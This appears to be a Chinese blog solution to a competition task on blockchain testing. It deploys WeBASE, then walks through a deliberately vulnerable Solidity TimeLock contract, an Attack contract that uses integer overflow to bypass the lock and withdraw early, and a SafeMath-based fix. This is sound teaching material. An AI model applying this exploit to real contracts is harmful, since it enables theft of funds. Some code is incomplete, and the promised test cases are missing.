您现在的位置是:首页 >其他 >任务1-3 区块链系统测试(10分)网站首页其他
任务1-3 区块链系统测试(10分)
简介任务1-3 区块链系统测试(10分)
WeBASE 平台搭建、验证
WeBASE 部署
# 启动
python3 deploy.py startAll
webase.sgin 功能验证
webase-node-mgr 进程验证
智能合约安全测试
例题二
源码
pragma solidity ^0.7.6;
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
分析问题,说明危害
这个是智能合约中比较典型的漏洞,即为整型溢出。当数据足够大时,对此数据添加1可能将导致数据存在归零的危害,此类问题常常存在与账户转账中金额设置中,包括美链等智能合约都出现类似的问题。
根据 truffle 编写测试用例,复现漏洞
-
在migrations文件夹中加入代码部署的执行代码
-
具体测试用例编写内容如下
- 当测试用例执行成功即表示攻击成功,会有如下内容输出:
修复问题,说明修复内容并测试
- 新智能合约
可以使用类似SafeMath的通用函数,来确保所有加减乘除方法安全,通过定义包括safeAdd等函数确保了智能合约的运算正确性,从而规避了整型溢出的问题,如下为修改后的智能合约示例:
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract NewTimeLock is SafeMath {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] = safeAdd(lockTime[msg.sender], _secondsToIncrease);
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract NewAttack {
NewTimeLock timeLock;
constructor(NewTimeLock _timeLock) {
timeLock = NewTimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
/*
if t = current lock time then we need to find x such that
x + t = 2**256 = 0
so x = -t
2**256 = type(uint).max + 1
so x = type(uint).max + 1 - t
*/
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
- 验证测试
-
使用同样的测试用例,再执行,验证测试攻击是否仍能成功,如下为验证正确性的测试
-
- 当有交易被回滚,说明修复成功:
风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。